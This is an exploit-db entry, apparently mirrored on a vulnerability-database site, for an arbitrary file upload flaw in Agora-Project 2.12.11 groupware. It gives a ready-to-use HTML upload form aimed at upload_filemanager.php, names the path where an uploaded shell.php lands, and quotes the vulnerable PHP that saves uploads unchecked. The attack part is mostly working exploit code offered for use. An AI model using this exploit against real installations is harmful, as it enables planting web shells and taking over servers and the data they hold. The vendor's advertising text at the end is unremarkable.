Lucene search
K

Agora-Project 2.12.11 - Arbitrary File Upload

🗓️ 11 Jun 2012 00:00:00Reported by Misa3lType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 38 Views

Agora-Project 2.12.11 Remote File Upload Vulnerabilit

Code
# Exploit Title: agora-project_2.12.11_12-2011 Remote Shell Upload
# Google Dork: n0 N0obs
# Date: 10/06/2012
# Exploit Author: Misa3l
# Vendor Homepage: http://sourceforge.net/projects/agora-project/
# Software Link: http://sourceforge.net/projects/agora-project/files/latest/download
# Version: 2.12.11_12-2011
# Tested on: Debian 6.0

Description

Agora-Project is an intuitive groupware under GPL (Based on PHP/MySQL). It contains many modules: File Manager (with versioning), Calendars (with resource calendars), Task Manager, Bookmark manager, Contacts, News, Forum, Instant Messaging, etc.

Exploit

**********************************************************************************

<form action="http://127.0.0.1/labs/module_fichier/upload/upload_filemanager.php?dossierup=testing" ENCTYPE="multipart/form-data" method="post">
<input type="file" name="dossierup" />
<input type="submit" name="sube" />
</form>

**********************************************************************************

Dir Shell:
http://127.0.0.1/labs/stock_fichiers/tmp/  
"testing" <--- folder 
"shell.php" <--- shell
File Vul:
module_fichier/upload/upload_filemanager.php

<?php
////    INIT
define("ROOT_PATH","../../");
require_once ROOT_PATH."includes/global.inc.php";

////    AJOUTE LES FICHIERS UPLOADES AVEC PLUPLOAD DANS UN DOSSIER TEMPORAIRE
////
if(@$_GET["dossierup"]!="" && isset($_FILES) && count($_FILES)>0)
{
    ////    DOSSIER TEMPORAIRE  (Cr�� si inexistant + chmod (car s'il est pass� dans mkdir() �a marche pas!))
    $save_path = PATH_TMP.$_GET["dossierup"];
    if(is_dir($save_path)==false)    { mkdir($save_path);  chmod($save_path, 0775); }
    
    ////    PLACE LE/LES FICHIERS
    foreach($_FILES as $file_tmp)
    {
        if($file_tmp["error"]==0 && is_writable($save_path))    { move_uploaded_file($file_tmp["tmp_name"], $save_path."/".$file_tmp["name"]); }
        elseif($num_erreur==4)                                    { echo "UPLOAD_ERR_NO_FILE"; }
        else                                                    { echo $trad["MSG_ALERTE_taille_fichier"]; }
    }
}
?>

***************************************************************************************
End... Misa3l From Venezuela

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation